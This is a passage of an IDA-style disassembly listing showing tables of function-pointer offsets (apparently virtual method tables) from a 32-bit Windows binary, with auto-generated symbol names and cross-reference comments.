		dd offset sub_69B1B57D
		dd offset sub_69B2FABC
		dd offset sub_69B65480
		dd offset sub_69B2F559
		dd offset nullsub_5
		dd offset sub_69B68643
		dd offset sub_69B6C9F1
		dd offset sub_69B65C43
		dd offset sub_69B6CA09
		dd offset sub_69B6C9FC
		dd offset sub_69B6C7E4
		dd offset sub_69B6CA4E
		dd offset sub_69B6CA9A
		dd offset sub_69B6CABD
		dd offset sub_69B6D044
		dd offset sub_69B6C809
off_69B13388	dd offset sub_69B6547B	; DATA XREF: sub_69B686B1-8Do
					; sub_69B68658+Co
		dd offset sub_69B17349
		dd offset sub_69B183AF
		dd offset sub_69B6867E
		dd offset sub_69B1B57D
		dd offset nullsub_5
		dd offset sub_69B18278
		dd offset sub_69B685FC
		dd offset sub_69B1B57D
		dd offset sub_69B2FABC
		dd offset sub_69B6C84F
		dd offset sub_69B2F559
		dd offset nullsub_5
		dd offset sub_69B6CBC6
		dd offset sub_69B6860C
		dd offset sub_69B6CAED
		dd offset sub_69B6CA6F
		dd offset sub_69B6860C
		dd offset sub_69B6C9EA
		dd offset nullsub_3
off_69B133D8	dd offset loc_69B65C65	; DATA XREF: sub_69B6893F+23o
					; sub_69B68BD6+1Bo
		dd offset loc_69B65C6F
		dd offset loc_69B65C79
		dd offset loc_69B689C6
		dd offset loc_69B689CE
		dd offset loc_69B689D6
		dd offset loc_69B65C83
		dd offset loc_69B689DE
		dd offset sub_69B1B57D
		dd offset sub_69B2FABC
		dd offset sub_69B2F49D
		dd offset sub_69B2F559
		dd offset nullsub_5
		dd offset sub_69B689FB
		dd offset sub_69B6CBEF
		dd offset sub_69B6CC18
		dd offset sub_69B6CC3B
		dd offset sub_69B68896
		dd offset sub_69B688A9
		dd offset sub_69B6873D
		dd offset sub_69B6879D
		dd offset sub_69B686EF
		dd offset sub_69B6CDE6
		dd offset sub_69B6C9D6
		dd offset sub_69B687E1
		dd offset sub_69B6C983
		dd offset sub_69B6C995
		dd offset sub_69B6C9C6
		dd offset sub_69B6C9E3
		dd offset sub_69B6CEF4
		dd offset sub_69B6CF3A
		dd offset sub_69B688EC
		dd offset sub_69B688CB
		dd offset sub_69B65C39
		dd offset sub_69B6CA26
		dd offset sub_69B65D2D
		dd offset sub_69B65CBB
		dd offset sub_69B689E6
off_69B13470	dd offset sub_69B65C47	; DATA XREF: sub_69B6893F+1Co
					; sub_69B68BD6+14o
		dd offset sub_69B65C51
		dd offset sub_69B65C5B
		dd offset sub_69B689B6
		dd offset sub_69B76F3B
		dd offset sub_69B76F43
		dd offset sub_69B76F4B
		dd offset sub_69B689BE
		dd offset sub_69B1B57D
		dd offset sub_69B2FABC
		dd offset sub_69B65480
		dd offset sub_69B2F559
		dd offset nullsub_5
		dd offset sub_69B689F3
		dd offset sub_69B6C9F1
		dd offset sub_69B65C43
		dd offset sub_69B6CA09
		dd offset sub_69B6C9FC
		dd offset sub_69B6C7E4
		dd offset sub_69B686D8
		dd offset sub_69B6CA9A
		dd offset sub_69B6CABD
		dd offset sub_69B6D044
		dd offset sub_69B6C809
off_69B134D0	dd offset sub_69B6547B	; DATA XREF: sub_69B6893F+16o
					; sub_69B68BD6+Eo
		dd offset sub_69B17349
		dd offset sub_69B183AF
		dd offset sub_69B68C0D
		dd offset sub_69B1B57D
		dd offset nullsub_5
		dd offset sub_69B18278
		dd offset sub_69B686C8
		dd offset sub_69B1B57D
		dd offset sub_69B2FABC
		dd offset sub_69B6C84F
		dd offset sub_69B2F559
		dd offset nullsub_5
		dd offset sub_69B6886B
		dd offset sub_69B687AF
		dd offset sub_69B6CAED
		dd offset sub_69B6CA6F
		dd offset sub_69B68C9A
		dd offset sub_69B686DE
		dd offset sub_69B687CB
off_69B13520	dd offset loc_69B65C65	; DATA XREF: sub_69B68EDE+36o
					; sub_69B69179+1Bo
		dd offset loc_69B65C6F
		dd offset loc_69B65C79
		dd offset loc_69B68EBE
		dd offset loc_69B689CE
		dd offset loc_69B689D6
		dd offset loc_69B65C83
		dd offset loc_69B68EC6
		dd offset sub_69B1B57D
		dd offset sub_69B2FABC
		dd offset sub_69B2F49D
		dd offset sub_69B2F559
		dd offset nullsub_5
		dd offset sub_69B68ED6
		dd offset sub_69B6CBEF
		dd offset sub_69B6CC18
		dd offset sub_69B6CC3B
		dd offset sub_69B68F3A
		dd offset sub_69B68D24
		dd offset sub_69B68D5E
		dd offset sub_69B68E45
		dd offset sub_69B6CD8D
		dd offset sub_69B6CDE6
		dd offset sub_69B6C9D6
		dd offset sub_69B6D410
		dd offset sub_69B6C983
		dd offset sub_69B68CF3
		dd offset sub_69B6C9C6
		dd offset sub_69B6C9E3
		dd offset sub_69B6CEF4
		dd offset sub_69B6CF3A
		dd offset sub_69B69132
		dd offset sub_69B68FCD
		dd offset sub_69B65C39
		dd offset sub_69B6CA26
		dd offset sub_69B65D2D
		dd offset sub_69B65CBB
		dd offset loc_69B65D1B
off_69B135B8	dd offset sub_69B65C47	; DATA XREF: sub_69B68EDE+2Co
					; sub_69B69179+14o
		dd offset sub_69B65C51
		dd offset sub_69B65C5B
		dd offset loc_69B68EAE
		dd offset sub_69B76F3B
		dd offset sub_69B76F43
		dd offset sub_69B76F4B
		dd offset sub_69B68EB6
		dd offset sub_69B1B57D
		dd offset sub_69B2FABC
		dd offset sub_69B65480
		dd offset sub_69B2F559
		dd offset nullsub_5
		dd offset sub_69B68ECE
		dd offset sub_69B6C9F1
		dd offset sub_69B65C43
		dd offset sub_69B6CA09
		dd offset sub_69B6C9FC
		dd offset sub_69B6C7E4
		dd offset sub_69B68CE0
		dd offset sub_69B6CA9A
		dd offset sub_69B6CABD
		dd offset sub_69B6D044
		dd offset sub_69B6C809
off_69B13618	dd offset sub_69B6547B	; DATA XREF: sub_69B68EDE+23o
					; sub_69B69179+Eo
		dd offset sub_69B17349
		dd offset sub_69B183AF
		dd offset sub_69B691B0
		dd offset sub_69B1B57D
		dd offset nullsub_5
		dd offset sub_69B18278
		dd offset sub_69B68CD0
		dd offset sub_69B1B57D
		dd offset sub_69B2FABC
		dd offset sub_69B6C84F
		dd offset sub_69B2F559
		dd offset nullsub_5
		dd offset sub_69B68E11
		dd offset sub_69B68DB7
		dd offset sub_69B6CAED
		dd offset sub_69B6CA6F
		dd offset sub_69B68FF7
		dd offset sub_69B68E76
		dd offset sub_69B687CB
		dd offset sub_69B68F57
		align 10h
off_69B13670	dd offset loc_69B65C65	; DATA XREF: sub_69B6934C-7Bo
					; sub_69B692F3+19o
		dd offset loc_69B65C6F
		dd offset loc_69B65C79
		dd offset loc_69B692E6
		dd offset loc_69B689CE
		dd offset loc_69B689D6
		dd offset loc_69B65C83
		dd offset loc_69B692EB
		dd offset sub_69B1B57D
		dd offset sub_69B2FABC
		dd offset sub_69B2F49D
		dd offset sub_69B2F559
		dd offset nullsub_5
		dd offset sub_69B67B0F
		dd offset sub_69B6CBEF
		dd offset sub_69B6CC18
		dd offset sub_69B677CF
		dd offset sub_69B6CCB6
		dd offset sub_69B69268
		dd offset sub_69B69296
		dd offset sub_69B6799B
		dd offset sub_69B6CD8D
		dd offset sub_69B677A5
		dd offset sub_69B6C9D6
		dd offset sub_69B67AEA
		dd offset sub_69B6C983
		dd offset sub_69B6C995
		dd offset sub_69B6C9C6
		dd offset sub_69B6C9E3
		dd offset sub_69B6CEF4
		dd offset sub_69B6CF3A
		dd offset sub_69B67BD2
		dd offset sub_69B6CD55
		dd offset sub_69B65C39
		dd offset sub_69B6CA26
		dd offset sub_69B65D2D
		dd offset sub_69B65CBB
		dd offset sub_69B59D1C
off_69B13708	dd offset sub_69B65C47	; DATA XREF: sub_69B6934C-82o
					; sub_69B692F3+12o
		dd offset sub_69B65C51
		dd offset sub_69B65C5B
		dd offset sub_69B67AEF
		dd offset sub_69B76F3B
		dd offset sub_69B76F43
		dd offset sub_69B76F4B
		dd offset sub_69B692DE
		dd offset sub_69B1B57D
		dd offset sub_69B2FABC
		dd offset sub_69B65480
		dd offset sub_69B2F559
		dd offset nullsub_5
		dd offset sub_69B67B07
		dd offset sub_69B6C9F1
		dd offset sub_69B65C43
		dd offset sub_69B6CA09
		dd offset sub_69B6C9FC
		dd offset sub_69B6C7E4
		dd offset sub_69B6925C
		dd offset sub_69B6CA9A
		dd offset sub_69B6CABD
		dd offset sub_69B6D044
		dd offset sub_69B6C809
off_69B13768	dd offset sub_69B6547B	; DATA XREF: sub_69B6934C-88o
					; sub_69B692F3+Co
		dd offset sub_69B17349
		dd offset sub_69B183AF
		dd offset sub_69B69319
		dd offset sub_69B1B57D
		dd offset nullsub_5
		dd offset sub_69B18278
		dd offset sub_69B6924E
		dd offset sub_69B1B57D
		dd offset sub_69B2FABC
		dd offset sub_69B6C84F
		dd offset sub_69B2F559
		dd offset nullsub_5
		dd offset sub_69B678AC
		dd offset sub_69B69262
		dd offset sub_69B6CAED
		dd offset sub_69B6CA6F
		dd offset sub_69B67B5D
		dd offset sub_69B67BAE
		dd offset sub_69B679C0
off_69B137B8	dd offset loc_69B65C65	; DATA XREF: sub_69B698FE+26o
					; sub_69B6993C+1Bo
		dd offset loc_69B65C6F
		dd offset loc_69B65C79
		dd offset loc_69B698DE
		dd offset loc_69B689CE
		dd offset loc_69B689D6
		dd offset loc_69B65C83
		dd offset loc_69B698E6
		dd offset sub_69B1B57D
		dd offset sub_69B2FABC
		dd offset sub_69B2F49D
		dd offset sub_69B2F559
		dd offset nullsub_5
		dd offset sub_69B698F6
		dd offset sub_69B6CBEF
		dd offset sub_69B6CC18
		dd offset sub_69B6CC3B
		dd offset sub_69B69484
		dd offset sub_69B69505
		dd offset sub_69B695E4
		dd offset sub_69B695BA
		dd offset sub_69B6CD8D
		dd offset sub_69B6CDE6
		dd offset sub_69B6C9D6
		dd offset sub_69B69387
		dd offset sub_69B6C983
		dd offset sub_69B6C995
		dd offset sub_69B6C9C6
		dd offset sub_69B69634
		dd offset sub_69B69839
		dd offset sub_69B6CF3A
		dd offset sub_69B6974E
		dd offset sub_69B69532
		dd offset sub_69B65C39
		dd offset sub_69B6CA26
		dd offset sub_69B65D2D
		dd offset sub_69B65CBB
		dd offset sub_69B698CB
off_69B13850	dd offset sub_69B65C47	; DATA XREF: sub_69B698FE+1Fo
					; sub_69B6993C+14o
		dd offset sub_69B65C51
		dd offset sub_69B65C5B
		dd offset sub_69B698CE
		dd offset sub_69B76F3B
		dd offset sub_69B76F43
		dd offset sub_69B76F4B
		dd offset sub_69B698D6
		dd offset sub_69B1B57D
		dd offset sub_69B2FABC
		dd offset sub_69B65480
		dd offset sub_69B2F559
		dd offset nullsub_5
		dd offset sub_69B698EE
		dd offset sub_69B6C9F1
		dd offset sub_69B65C43
		dd offset sub_69B6CA09
		dd offset sub_69B6C9FC
		dd offset sub_69B6C7E4
		dd offset sub_69B69576
		dd offset sub_69B6CA9A
		dd offset sub_69B6CABD
		dd offset sub_69B6D044
		dd offset sub_69B6C809
off_69B138B0	dd offset sub_69B6547B	; DATA XREF: sub_69B698FE+19o
					; sub_69B6993C+Eo
		dd offset sub_69B17349
		dd offset sub_69B183AF
		dd offset sub_69B69976
		dd offset sub_69B1B57D
		dd offset nullsub_5
		dd offset sub_69B18278
		dd offset sub_69B69363
		dd offset sub_69B1B57D
		dd offset sub_69B2FABC
		dd offset sub_69B6C84F
		dd offset sub_69B2F559
		dd offset nullsub_5
		dd offset sub_69B693C6
		dd offset sub_69B69394
		dd offset sub_69B6CAED
		dd offset sub_69B6CA6F
		dd offset sub_69B69AE5
		dd offset sub_69B8CB95
		dd offset sub_69B69804
		dd offset sub_69B69497
		align 8
off_69B13908	dd offset sub_69B2D67E	; DATA XREF: sub_69B6A7F2+72o
					; sub_69B6BCF3+175o ...
		dd offset sub_69B17349
		dd offset sub_69B183AF
		dd offset sub_69B18284
		dd offset sub_69B1B57D
		dd offset nullsub_5
		dd offset sub_69B18278
		dd offset sub_69B2D632
		dd offset sub_69B1B57D
		dd offset sub_69B2FABC
		dd offset sub_69B2F49D
		dd offset sub_69B2F559
		dd offset nullsub_5
		dd offset sub_69B6A9CF
		dd offset sub_69B3CAC8
		dd offset sub_69B6A7BC
off_69B13948	dd offset loc_69B65C65	; DATA XREF: sub_69B6B06D-1A3o
					; sub_69B6AFE7+17o
		dd offset loc_69B65C6F
		dd offset loc_69B65C79
		dd offset loc_69B6AEFE
		dd offset loc_69B689CE
		dd offset loc_69B689D6
		dd offset loc_69B65C83
		dd offset loc_69B6AF06
		dd offset sub_69B1B57D
		dd offset sub_69B2FABC
		dd offset sub_69B2F49D
		dd offset sub_69B2F559
		dd offset nullsub_5
		dd offset sub_69B6AFE2
		dd offset sub_69B6AF6A
		dd offset sub_69B6AF7F
		dd offset sub_69B6AF9A
		dd offset sub_69B6AA20
		dd offset sub_69B6ADF2
		dd offset sub_69B82AF4
		dd offset nullsub_7
		dd offset sub_69B6AA5E
		dd offset sub_69B6AA7C
		dd offset sub_69B6C9D6
		dd offset sub_69B6AF16
		dd offset sub_69B6AF2B
		dd offset sub_69B6AF40
		dd offset sub_69B6AF55
		dd offset sub_69B6AEE7
		dd offset sub_69B6CEF4
		dd offset sub_69B6CF3A
		dd offset sub_69B6AE05
		dd offset sub_69B6AAE8
		dd offset sub_69B65C39
		dd offset sub_69B6AA9A
		dd offset sub_69B65D2D
		dd offset sub_69B65CBB
		dd offset loc_69B65D1B
off_69B139E0	dd offset sub_69B65C47	; DATA XREF: sub_69B6B06D-1AAo
					; sub_69B6AFE7+10o
		dd offset sub_69B65C51
		dd offset sub_69B65C5B
		dd offset sub_69B6AEEE
		dd offset sub_69B76F3B
		dd offset sub_69B76F43
		dd offset sub_69B76F4B
		dd offset sub_69B6AEF6
		dd offset sub_69B1B57D
		dd offset sub_69B2FABC
		dd offset sub_69B65480
		dd offset sub_69B2F559
		dd offset nullsub_5
		dd offset sub_69B6AFDD
		dd offset sub_69B698CB
		dd offset sub_69B6AF0E
		dd offset sub_69B6CA09
		dd offset sub_69B6AA37
		dd offset sub_69B6C7E4
		dd offset sub_69B6AAB2
		dd offset sub_69B6AD26
		dd offset sub_69B6AD76
		dd offset sub_69B6AD8B
		dd offset sub_69B6C809
off_69B13A40	dd offset sub_69B6547B	; DATA XREF: sub_69B6B06D-1B0o
					; sub_69B6AFE7+Ao
		dd offset sub_69B17349
		dd offset sub_69B183AF
		dd offset sub_69B6B014
		dd offset sub_69B1B57D
		dd offset nullsub_5
		dd offset sub_69B18278
		dd offset sub_69B6AA10
		dd offset sub_69B1B57D
		dd offset sub_69B2FABC
		dd offset sub_69B6C84F
		dd offset sub_69B2F559
		dd offset nullsub_5
		dd offset sub_69B6AFAF
		dd offset sub_69B6AB31
		dd offset sub_69B6AE56
		dd offset sub_69B6CA6F
		dd offset sub_69B6860C
		dd offset sub_69B6C9EA
		dd offset nullsub_3
		dd offset sub_69B6AB52
		align 8
off_69B13A98	dd offset loc_69B65C65	; DATA XREF: sub_69B6B53D-95o
					; sub_69B6B4EE+1Bo
		dd offset loc_69B65C6F
		dd offset loc_69B65C79
		dd offset loc_69B6B4D1
		dd offset loc_69B689CE
		dd offset loc_69B689D6
		dd offset loc_69B65C83
		dd offset loc_69B6B4D6
		dd offset sub_69B1B57D
		dd offset sub_69B2FABC
		dd offset sub_69B2F49D
		dd offset sub_69B2F559
		dd offset nullsub_5
		dd offset sub_69B6B4E6
		dd offset sub_69B6CBEF
		dd offset sub_69B6CC18
		dd offset sub_69B6CC3B
		dd offset sub_69B6B174
		dd offset sub_69B6B18A
		dd offset sub_69B6B094
		dd offset sub_69B6CA3F
		dd offset sub_69B6CD8D
		dd offset sub_69B6CDE6
		dd offset sub_69B6C9D6
		dd offset sub_69B6D410
		dd offset sub_69B6C983
		dd offset sub_69B6C995
		dd offset sub_69B6C9C6
		dd offset sub_69B6C9E3
		dd offset sub_69B6CEF4
		dd offset sub_69B6CF3A
		dd offset sub_69B6B3D4
		dd offset sub_69B6B1E3
		dd offset sub_69B65C39
		dd offset sub_69B6CA26
		dd offset sub_69B65D2D
		dd offset sub_69B65CBB
		dd offset loc_69B65D1B
off_69B13B30	dd offset sub_69B65C47	; DATA XREF: sub_69B6B53D-9Co
					; sub_69B6B4EE+14o
		dd offset sub_69B65C51
		dd offset sub_69B65C5B
		dd offset sub_69B6B4C1
		dd offset sub_69B76F3B
		dd offset sub_69B76F43
		dd offset sub_69B76F4B
		dd offset sub_69B6B4C9
		dd offset sub_69B1B57D
		dd offset sub_69B2FABC
		dd offset sub_69B65480
		dd offset sub_69B2F559
		dd offset nullsub_5
		dd offset sub_69B6B4DE
		dd offset sub_69B6C9F1
		dd offset sub_69B65C43
		dd offset sub_69B6CA09
		dd offset sub_69B6C9FC
		dd offset sub_69B6C7E4
		dd offset sub_69B6B0E5
		dd offset sub_69B6CA9A
		dd offset sub_69B6CABD
		dd offset sub_69B6D044
		dd offset sub_69B6C809
off_69B13B90	dd offset sub_69B6547B	; DATA XREF: sub_69B6B53D-A2o
					; sub_69B6B4EE+Eo
		dd offset sub_69B17349
		dd offset sub_69B183AF
		dd offset sub_69B6B554
		dd offset sub_69B1B57D
		dd offset nullsub_5
		dd offset sub_69B18278
		dd offset sub_69B6B084
		dd offset sub_69B1B57D
		dd offset sub_69B2FABC
		dd offset sub_69B6C84F
		dd offset sub_69B2F559
		dd offset nullsub_5
		dd offset sub_69B6B0FB
		dd offset sub_69B6B0F5
		dd offset sub_69B6CAED
		dd offset sub_69B6CA6F
		dd offset sub_69B6B250
		dd offset sub_69B6C9EA
		dd offset sub_69B6B43F
off_69B13BE0	dd offset loc_69B65C65	; DATA XREF: sub_69B6B83C-61o
					; sub_69B6B7FE+19o
		dd offset loc_69B65C6F
		dd offset loc_69B65C79
		dd offset loc_69B6D37A
		dd offset loc_69B689CE
		dd offset loc_69B689D6
		dd offset loc_69B65C83
		dd offset loc_69B6B7F6
		dd offset sub_69B1B57D
		dd offset sub_69B2FABC
		dd offset sub_69B2F49D
		dd offset sub_69B2F559
		dd offset nullsub_5
		dd offset sub_69B68650
		dd offset sub_69B6CBEF
		dd offset sub_69B6CC18
		dd offset sub_69B6CC3B
		dd offset sub_69B6B6EF
		dd offset sub_69B6B6F8
		dd offset sub_69B6B5B8
		dd offset sub_69B6799B
		dd offset sub_69B6B616
		dd offset sub_69B6B670
		dd offset sub_69B6C9D6
		dd offset sub_69B6D410
		dd offset sub_69B6C983
		dd offset sub_69B6C995
		dd offset sub_69B6C9C6
		dd offset sub_69B6C9E3
		dd offset sub_69B6CEF4
		dd offset sub_69B6CF3A
		dd offset sub_69B6B758
		dd offset sub_69B6B70E
		dd offset sub_69B65C39
		dd offset sub_69B6CA26
		dd offset sub_69B65D2D
		dd offset sub_69B65CBB
		dd offset loc_69B65D1B
off_69B13C78	dd offset sub_69B65C47	; DATA XREF: sub_69B6B83C-68o
					; sub_69B6B7FE+12o
		dd offset sub_69B65C51
		dd offset sub_69B65C5B
		dd offset sub_69B6D36A
		dd offset sub_69B76F3B
		dd offset sub_69B76F43
		dd offset sub_69B76F4B
		dd offset sub_69B6B7EE
		dd offset sub_69B1B57D
		dd offset sub_69B2FABC
		dd offset sub_69B65480
		dd offset sub_69B2F559
		dd offset nullsub_5
		dd offset sub_69B68643
		dd offset sub_69B6C9F1
		dd offset sub_69B65C43
		dd offset sub_69B6CA09
		dd offset sub_69B6C9FC
		dd offset sub_69B6C7E4
		dd offset sub_69B6B722
		dd offset sub_69B6CA9A
		dd offset sub_69B6CABD
		dd offset sub_69B6D044
		dd offset sub_69B6C809
off_69B13CD8	dd offset sub_69B6547B	; DATA XREF: sub_69B6B83C-6Eo
					; sub_69B6B7FE+Co
		dd offset sub_69B17349
		dd offset sub_69B183AF
		dd offset sub_69B6867E
		dd offset sub_69B1B57D
		dd offset nullsub_5
		dd offset sub_69B18278
		dd offset sub_69B6B5A7
		dd offset sub_69B1B57D
		dd offset sub_69B2FABC
		dd offset sub_69B6C84F
		dd offset sub_69B2F559
		dd offset nullsub_5
		dd offset sub_69B6CBC6
		dd offset sub_69B667EC
		dd offset sub_69B6CAED
		dd offset sub_69B6CA6F
		dd offset sub_69B6B6CC
		dd offset sub_69B6B731
		dd offset sub_69B6B778
off_69B13D28	dd offset sub_69B2D67E	; DATA XREF: sub_69B6B945+1Eo
					; sub_69B6BAF2+26o
		dd offset sub_69B17349
		dd offset sub_69B183AF
		dd offset sub_69B18284
		dd offset sub_69B1B57D
		dd offset nullsub_5
		dd offset sub_69B18278
		dd offset sub_69B2D632
		dd offset sub_69B1B57D
		dd offset sub_69B2FABC
		dd offset sub_69B2F49D
		dd offset sub_69B2F559
		dd offset nullsub_5
		dd offset sub_69B6C163
		dd offset sub_69B6E464
		dd offset sub_69B6C030
off_69B13D68	dd offset sub_69B2D67E	; DATA XREF: sub_69B69497+2Do
					; sub_69B6BCF3+288o ...
		dd offset sub_69B17349
		dd offset sub_69B183AF
		dd offset sub_69B18284
		dd offset sub_69B1B57D
		dd offset nullsub_5
		dd offset sub_69B18278
		dd offset sub_69B2D632
		dd offset sub_69B1B57D
		dd offset sub_69B2FABC
		dd offset sub_69B2F49D
		dd offset sub_69B2F559
		dd offset nullsub_5
		dd offset nullsub_5
		dd offset sub_69B69383
		dd offset sub_69B69374
off_69B13DA8	dd offset loc_69B65C65	; DATA XREF: sub_69B6BC54+2Ao
					; sub_69B6C087+1Bo
		dd offset loc_69B65C6F
		dd offset loc_69B65C79
		dd offset loc_69B6BCB7
		dd offset loc_69B689CE
		dd offset loc_69B689D6
		dd offset loc_69B65C83
		dd offset loc_69B6BCBF
		dd offset sub_69B1B57D
		dd offset sub_69B2FABC
		dd offset sub_69B2F49D
		dd offset sub_69B2F559
		dd offset nullsub_5
		dd offset sub_69B6BCCF
		dd offset sub_69B6CBEF
		dd offset sub_69B6CC18
		dd offset sub_69B6CC3B
		dd offset sub_69B6CCB6
		dd offset sub_69B6B9BA
		dd offset sub_69B6CA2C
		dd offset sub_69B6CA3F
		dd offset sub_69B6CD8D
		dd offset sub_69B6B8FF
		dd offset sub_69B6C9D6
		dd offset sub_69B6BA2B
		dd offset sub_69B6C983
		dd offset sub_69B6C995
		dd offset sub_69B6C9C6
		dd offset sub_69B6C9E3
		dd offset sub_69B6CEF4
		dd offset sub_69B6BCD7
		dd offset sub_69B6BBBC
		dd offset sub_69B6CD55
		dd offset sub_69B65C39
		dd offset sub_69B6B937
		dd offset sub_69B65D2D
		dd offset sub_69B65CBB
		dd offset loc_69B65D1B
off_69B13E40	dd offset sub_69B65C47	; DATA XREF: sub_69B6BC54+23o
					; sub_69B6C087+14o
		dd offset sub_69B65C51
		dd offset sub_69B65C5B
		dd offset sub_69B6BCA7
		dd offset sub_69B76F3B
		dd offset sub_69B76F43
		dd offset sub_69B76F4B
		dd offset sub_69B6BCAF
		dd offset sub_69B1B57D
		dd offset sub_69B2FABC
		dd offset sub_69B65480
		dd offset sub_69B2F559
		dd offset nullsub_5
		dd offset sub_69B6BCC7
		dd offset sub_69B6C9F1
		dd offset sub_69B65C43
		dd offset sub_69B6CA09
		dd offset sub_69B6C9FC
		dd offset sub_69B6C7E4
		dd offset sub_69B6CA4E
		dd offset sub_69B6CA9A
		dd offset sub_69B6CABD
		dd offset sub_69B6D044
		dd offset sub_69B6C809
off_69B13EA0	dd offset sub_69B6547B	; DATA XREF: sub_69B6BC54+19o
					; sub_69B6C087+Eo
		dd offset sub_69B17349
		dd offset sub_69B183AF
		dd offset sub_69B6C0BB
		dd offset sub_69B1B57D
		dd offset nullsub_5
		dd offset sub_69B18278
		dd offset sub_69B6B853
		dd offset sub_69B1B57D
		dd offset sub_69B2FABC
		dd offset sub_69B6C84F
		dd offset sub_69B2F559
		dd offset nullsub_5
		dd offset sub_69B6B983
		dd offset sub_69B6860C
		dd offset sub_69B6CAED
		dd offset sub_69B6CA6F
		dd offset sub_69B6C134
		dd offset sub_69B6C9EA
		dd offset nullsub_3
off_69B13EF0	dd offset loc_69B65C65	; DATA XREF: sub_69B6D314+31o
					; sub_69B6D38A+22o ...
		dd offset loc_69B65C6F
		dd offset loc_69B65C79
		dd offset loc_69B6D37A
		dd offset loc_69B689CE
		dd offset loc_69B689D6
		dd offset loc_69B65C83
		dd offset loc_69B6D382
		dd offset sub_69B1B57D
		dd offset sub_69B2FABC
		dd offset sub_69B2F49D
		dd offset sub_69B2F559
		dd offset nullsub_5
		dd offset sub_69B68650
		dd offset sub_69B6CBEF
		dd offset sub_69B6CC18
		dd offset sub_69B6CC3B
		dd offset sub_69B6CCB6
		dd offset sub_69B6CD21
		dd offset sub_69B6CA2C
		dd offset sub_69B6CA3F
		dd offset sub_69B6CD8D
		dd offset sub_69B6CDE6
		dd offset sub_69B6C9D6
		dd offset sub_69B6D410
		dd offset sub_69B6C983
		dd offset sub_69B6C995
		dd offset sub_69B6C9C6
		dd offset sub_69B6C9E3
		dd offset sub_69B6CEF4
		dd offset sub_69B6CF3A
		dd offset sub_69B6CFE2
		dd offset sub_69B6CD55
		dd offset sub_69B65C39
		dd offset sub_69B6CA26
		dd offset sub_69B65D2D
		dd offset sub_69B65CBB
		dd offset loc_69B65D1B
off_69B13F88	dd offset sub_69B65C47	; DATA XREF: sub_69B6D314+2Ao
					; sub_69B6D38A+1Bo ...
		dd offset sub_69B65C51
		dd offset sub_69B65C5B
		dd offset sub_69B6D36A
		dd offset sub_69B76F3B
		dd offset sub_69B76F43
		dd offset sub_69B76F4B
		dd offset sub_69B6D372
		dd offset sub_69B1B57D
		dd offset sub_69B2FABC
		dd offset sub_69B65480
		dd offset sub_69B2F559
		dd offset nullsub_5
		dd offset sub_69B68643
		dd offset sub_69B6C9F1
		dd offset sub_69B65C43
		dd offset sub_69B6CA09
		dd offset sub_69B6C9FC
		dd offset sub_69B6C7E4
		dd offset sub_69B6CA4E
		dd offset sub_69B6CA9A
		dd offset sub_69B6CABD
		dd offset sub_69B6D044
		dd offset sub_69B6C809
off_69B13FE8	dd offset sub_69B6547B	; DATA XREF: sub_69B6D314+20o
					; sub_69B6D38A+15o ...
		dd offset sub_69B17349
		dd offset sub_69B183AF
		dd offset sub_69B6867E
		dd offset sub_69B1B57D
		dd offset nullsub_5
		dd offset sub_69B18278
		dd offset sub_69B6C97D
		dd offset sub_69B1B57D
		dd offset sub_69B2FABC
		dd offset sub_69B6C84F
		dd offset sub_69B2F559
		dd offset nullsub_5
		dd offset sub_69B6CBC6
		dd offset sub_69B6860C
		dd offset sub_69B6CAED
		dd offset sub_69B6CA6F
		dd offset sub_69B6860C
		dd offset sub_69B6C9EA
		dd offset nullsub_3
off_69B14038	dd offset sub_69B2D67E	; DATA XREF: sub_69B6D994+1Eo
					; sub_69B6D9D2+26o ...
		dd offset sub_69B17349
		dd offset sub_69B183AF
		dd offset sub_69B18284
		dd offset sub_69B1B57D
		dd offset nullsub_5
		dd offset sub_69B18278
		dd offset sub_69B2D632
		dd offset sub_69B1B57D
		dd offset sub_69B2FABC
		dd offset sub_69B2F49D
		dd offset sub_69B2F559
		dd offset nullsub_5
		dd offset sub_69B6DB6E
		dd offset sub_69B6D990
		dd offset sub_69B6DAE7
off_69B14078	dd offset sub_69B2D67E	; DATA XREF: sub_69B6EBE0+1Eo
					; sub_69B6FABE+3Do
		dd offset sub_69B17349
		dd offset sub_69B183AF
		dd offset sub_69B18284
		dd offset sub_69B1B57D
		dd offset nullsub_5
		dd offset sub_69B18278
		dd offset sub_69B2D632
		dd offset sub_69B1B57D
		dd offset sub_69B2FABC
		dd offset sub_69B2F49D
		dd offset sub_69B2F559
		dd offset nullsub_5
		dd offset sub_69B6EBB8
		dd offset sub_69B6E464
		dd offset sub_69B6E444
off_69B140B8	dd offset sub_69B2D67E	; DATA XREF: sub_69B6EC46+1Eo
					; sub_69B6FABE+6Do
		dd offset sub_69B17349
		dd offset sub_69B183AF
		dd offset sub_69B18284
		dd offset sub_69B1B57D
		dd offset nullsub_5
		dd offset sub_69B18278
		dd offset sub_69B2D632
		dd offset sub_69B1B57D
		dd offset sub_69B2FABC
		dd offset sub_69B2F49D
		dd offset sub_69B2F559
		dd offset nullsub_5
		dd offset sub_69B6EC1E
		dd offset sub_69B6E464
		dd offset sub_69B6E454
off_69B140F8	dd offset sub_69B2D67E	; DATA XREF: sub_69B70050+Co
					; sub_69B72FBE+Eo
		dd offset sub_69B17349
		dd offset sub_69B183AF
		dd offset sub_69B18284
		dd offset sub_69B1B57D
		dd offset sub_69B1BF60
		dd offset sub_69B186A8
		dd offset sub_69B72FB8
		dd offset sub_69B1B57D
		dd offset sub_69B2FABC
		dd offset sub_69B72FE6
		dd offset sub_69B2F559
		dd offset nullsub_5
		dd offset sub_69B72FDD
		dd offset nullsub_3
		dd offset nullsub_3
		dd offset sub_69B59D1C
		align 10h
off_69B14140	dd offset sub_69B2D67E	; DATA XREF: sub_69B700D2+Co
					; sub_69B70112+13o
		dd offset sub_69B17349
		dd offset sub_69B183AF
		dd offset sub_69B75506
		dd offset sub_69B1B57D
		dd offset sub_69B1BF60
		dd offset sub_69B186A8
		dd offset sub_69B70041
		dd offset sub_69B1B57D
		dd offset sub_69B2FABC
		dd offset sub_69B7013A
		dd offset sub_69B2F559
		dd offset nullsub_5
		dd offset sub_69B756D0
		dd offset sub_69B70163
		dd offset sub_69B701AA
		dd offset sub_69B700EE
		align 8
off_69B14188	dd offset sub_69B2D67E	; DATA XREF: sub_69B72446+Eo
					; sub_69B724DF+12o
		dd offset sub_69B17349
		dd offset sub_69B183AF
		dd offset sub_69B704C8
		dd offset sub_69B1B57D
		dd offset sub_69B1BF60
		dd offset sub_69B186A8
		dd offset sub_69B72310
		dd offset sub_69B1B57D
		dd offset sub_69B2FABC
		dd offset sub_69B7254A
		dd offset sub_69B2F559
		dd offset nullsub_5
